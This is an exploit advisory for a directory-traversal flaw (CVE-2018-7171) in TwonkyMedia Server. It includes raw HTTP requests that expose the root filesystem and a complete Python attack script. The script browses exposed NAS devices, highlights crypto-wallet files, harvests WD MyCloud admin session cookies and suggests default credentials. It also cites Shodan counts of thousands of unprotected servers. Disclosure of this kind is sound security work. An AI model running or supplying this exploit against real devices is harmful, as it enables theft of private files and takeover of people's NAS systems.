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1. About
 
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# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Directory Traversal
# Date: 2018-03-27
# Exploit Author: Sven Fassbender
# Contact: https://twitter.com/mezdanak
# Vendor Homepage: http://www.lynxtechnology.com/home
# Software Link: https://twonky.com/downloads/index.html
# Version: 7.0.11-8.5
# CVE : CVE-2018-7171
# Category: webapps
 
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2. Background information
 
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"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, 
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.
 
Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content 
between connected devices. Twonky Server is used worldwide and is available as a standalone server 
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.
 
Twonky Serveras web UI provides optimal capability for you to easily and reliably control and play back your 
media files in a variety of ways, and to abeama those media files to other connected devices." --extract from https://twonky.com
 
Previous similar vulnerabilities:
    https://packetstormsecurity.com/files/112227/PacketVideo-TwonkyServer-TwonkyMedia-Directory-Traversal.html
Fix:
    https://docs.twonky.com/display/TRN/Twonky+Server+7.0.x
 
Statistics:
    Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)
    Rarely protected by password (only around 2%).
     
Top Countries:
    1. United States
    2. Germany
    3. Korea
    4. Russian Federation
    5. France
    6. Italy
    7. Taiwan
    8. Poland
    9. Hungary
    10. United Kingdom
 
TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
    Thecus N2310
    Thecus N4560
    WDMyCloud, 
    MyCloudEX2Ultra, 
    WDMyCloudEX4, 
    WDMyCloudEX2100, 
    QNAP, 
    Zyxel NAS326,
    Zyxel NAS542,
    Zyxel NSA310, 
    Zyxel NSA310S,
    Zyxel NSA320,
    Zyxel NSA325-v2
    ...
 
Other devices:
    Belkin routers
    Zyxel EMG2926-Q10A
    ...
 
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3. Vulnerability description
 
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TwonkyMedia Server has a function which allows browsing parts of the file system, that are marked as shares by the user.
By setting the "contentdir" parameter to "/../" with the rpc call "set_all", an attacker can discover the filesystem outside of the user specified shares:
HTTP request:
    POST /rpc/set_all HTTP/1.1
    Host: 192.168.188.9:9000
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: */*
    Accept-Language: de,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.188.9:9000/
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Content-Length: 228
    Connection: close
 
    contentdir=/../
 
 
Now one can discover the file system with requests like the following:
HTTP request:
    GET /rpc/dir?path=/ HTTP/1.1
    Host: 192.168.188.9:9000
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: */*
    Accept-Language: de,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.188.9:9000/webconfig
    X-Requested-With: XMLHttpRequest
    Connection: close
 
      
HTTP response:
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=utf-8
    Content-Language: en
    Content-Length: 128
    Date: Sat, 03 Feb 2018 09:31:28 GMT
    Accept-Ranges: bytes
    Connection: close
    Expires: 0
    Pragma: no-cache
    Cache-Control: no-cache
    EXT:
    Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1
 
    001D/
    002D/bin
    003D/boot
    004D/CacheVolume
    005D/DataVolume
    006D/dev
    007D/etc
    008D/home
    009D/lib
    010D/media
    011D/mnt
    012D/nfs
    013D/opt
    014D/proc
    015D/root
    016D/run
    017D/sbin
    018D/shares
    019D/srv
    020D/sys
    021D/system
    022D/tmp
    023D/usr
    024D/var
 
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4. Proof of Concept
 
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https://github.com/mechanico/sharingIsCaring/blob/master/twonky.py
 
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5. Attack Scenarios
 
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- TwonkyMedia Server path traversal vs. WD MyCloud
 
    Files with filename representing PHPSESSID admin cookie's were discovered in the /tmp/ directory of a WDMyCloud NAS device:
 
    $ python twonky.py 192.168.188.9 9000
    https://www.shodan.io/host/192.168.188.9
    *** Port 9000 opened ***
    Run Twonky browser on port 9000 [Y, N]? [Y]
    *** Get Serverdetails from Twonky ***
    Server Name: WDMyCloud
    Serverplatform: armel_gcc473_glibc215_64k
    Pictures shared: 0
    Videos shared: 0
    Twonky Version: 7.2.9-6
    Build date: 03/25/2015 (mm/dd/yyyy)
    *** 'contentbase' path set to '/'' ***
    path nr:
    ------------------------------
    [...]
    022 Dir /tmp
    [...]
    ------------------------------
    path nr: 022
    ------------------------------
    [...]
    059 Fil sess_c61ufnntn31o2ovuj0ncf8fkp1
    [...]
    Valid WDMyCloud cookie discovered: {'PHPSESSID': 'c61ufnntn31o2ovuj0ncf8fkp1'}
    ------------------------------
    path nr:
 
    This cookie can be used to access the WDMyCloud Rest-Api. (http://ip/api/2.1/rest/...)
    With this access an attacker can e.g., create/modify users, download all files accessible by the user, update Firmware, ...
 
 
- TwonkyMedia Server path traversal vs. privacy
 
    People may store sensitive information on their NAS devices.
    Such as:
        - Business information
        - Health records
        - Passwords
        - Credit Cards
        - Passports
        - Currcillum Vitaes
        - Invoices Business/Private
        - "Private" photos
        - Illegal material
        - ...
 
 
- DMCA protected information
 
    There maybe also DMCA protected information public available. 
    Such as:
        - Movies
        - Music
 
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6. Fix
 
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All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable. 
While writing this advisory 8.5 is the latest version available:
https://twonky.com/downloads/index.html
 
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'''
 
import urllib3
import sys
import socket
import requests
from colorama import init, Fore
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)
 
# Extend KEYWORDS, list if you want. This will highlight files and directory names that include a keyword.
KEYWORDS = ["CRYPTO", "CRIPTO", "BITCOIN", "WALLET"]
def keywordDetector(line):
        for keyword in KEYWORDS:
                if line.upper().find(keyword) != -1:
                        return True
        return False
def checkPort(host, port):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
                s.connect((host,int(port)))
                s.settimeout(2)
                s.shutdown(2)
                return True
        except:
                return False
 
def setContentBase(host, port):
        payload = "\ncontentbase=/../\n"
        url = "http://{0}:{1}/rpc/set_all".format(host, port)
        try:
                response = requests.post(url, data=payload, timeout=5)
        except requests.exceptions.ReadTimeout:
                print (Fore.RED + "*** Timeout while setting contentbase path to '/' ***")
        except requests.exceptions.ChunkedEncodingError:
                print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
                sys.exit()
        except requests.exceptions.ConnectionError:
                url = "https://{0}:{1}/rpc/set_all".format(host, port)
                response = requests.post(url, data=payload, timeout=5, verify=False)
        if response.status_code != 200:
                print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
                print (Fore.YELLOW + "*** You should try to login with admin:admin (default creds) ***")
                sys.exit()
        else:
                print (Fore.MAGENTA + "*** 'contentbase' path set to '/'' ***")
                return True
 
def serverInfo(host, port):
        print (Fore.MAGENTA + "*** Get Serverdetails from Twonky ***")
        try:
                url = "http://{0}:{1}/rpc/get_friendlyname".format(host, port)
                friendlyname = requests.get(url, timeout=5)
        except requests.exceptions.ConnectionError:
                url= "https://{0}:{1}/rpc/get_friendlyname".format(host, port)
                friendlyname = requests.get(url, timeout=5, verify=False)
        if friendlyname.status_code == 200:
                print (Fore.GREEN + "Server Name: {0}".format(friendlyname.text))
        else:
                print (Fore.RED + "*** Not authorized to edit settings, password protection active ***")
                sys.exit()
        try:
                url = "http://{0}:{1}/rpc/info_status".format(host, port)
                infoStatus = requests.get(url, timeout=5)
        except requests.exceptions.ConnectionError:
                url = "https://{0}:{1}/rpc/info_status".format(host, port)
                infoStatus = requests.get(url, timeout=5, verify=False)
        for line in infoStatus.iter_lines():
                if line :
                        if line.find("version") != -1:
                                lineSplited = line.split("|")
                                versionNumber = lineSplited[1]
                                print (Fore.GREEN + "Twonky Version: {0}".format(versionNumber))
                        elif line.find("serverplatform") != -1:
                                lineSplited = line.split("|")
                                serverPlatform = lineSplited[1]
                                print (Fore.GREEN + "Serverplatform: {0}".format(serverPlatform))
                        elif line.find("builddate") != -1:
                                lineSplited = line.split("|")
                                buildDate = lineSplited[1]
                                print (Fore.GREEN + "Build date: {0}".format(buildDate))
                        elif line.find("pictures") != -1:
                                lineSplited = line.split("|")
                                pictureCount = lineSplited[1]
                                print (Fore.GREEN + "Pictures shared: {0}".format(pictureCount))
                        elif line.find("videos") != -1:
                                lineSplited = line.split("|")
                                videoCount = lineSplited[1]
                                print (Fore.GREEN + "Videos shared: {0}".format(videoCount))
        return versionNumber
 
def checkSessionCookie(host, cookieString):
        url = "http://{0}/api/2.1/rest/device_user".format(host)
        cookieTemp = cookieString.split("_")
        cookie = {'PHPSESSID': cookieTemp[1]}
        response = requests.get(url, timeout=10, cookies=cookie)
        if response.status_code == 200:
                return cookie
        else:
                return False
 
def browser(host, port, version):
        while True:
                var = raw_input("path nr: ")
                if var != "exit" :
                        if version[0] == "8":
                                url = "http://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
                        else:
                                url = "http://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
                        try:
                                response = requests.get(url, timeout=5)
                        except requests.exceptions.ConnectionError:
                                if version[0] == "8":
                                        url = "https://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
                                else:
                                        url = "https://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
                                response = requests.get(url, timeout=5, verify=False)
                        print "-" * 30
                        validCookieString = ""
                        for line in response.iter_lines():
                                if line :
                                        if len(line) > 3:
                                                if line[3] == "D":
                                                        line = line[:4].replace("D", " Dir ") + line[4:]
                                                        if keywordDetector(line[4:]):
                                                                print (Fore.RED + line)
                                                        else:
                                                                print (Fore.GREEN + line)
                                                elif line[3] == "F":
                                                        line = line[:4].replace("F", " Fil ") + line[4:]
                                                        if keywordDetector(line[4:]):
                                                                print (Fore.RED + line)
                                                        elif line[8:13] == "sess_":
                                                                print line
                                                                validCookie = checkSessionCookie(host, line[8:])
                                                                if validCookie != False:
                                                                        validCookieString = validCookie
                                                        else:
                                                                print line
                                                else:
                                                        print line
                        if len(validCookieString) >= 1:
                                print (Fore.RED + "Valid WDMyCloud cookie discovered: {0}".format(validCookieString))
                        print "-" * 30
                elif var == "exit":
                        sys.exit()
 
#*** Program start here ***
if __name__ == '__main__':
        if len(sys.argv) != 3:
                print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
        else:
                host = sys.argv[1]
                print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host))
                port = sys.argv[2]
                if checkPort(host, port):
                        print (Fore.GREEN + "*** Port {0} opened ***".format(port))
                        twonky = raw_input("Run Twonky browser on port {0} [Y, N]? [Y] ".format(port))
                        if twonky.upper() != "N":
                                version = serverInfo(host, port)
                                if setContentBase(host, port):
                                        browser(host, port, version)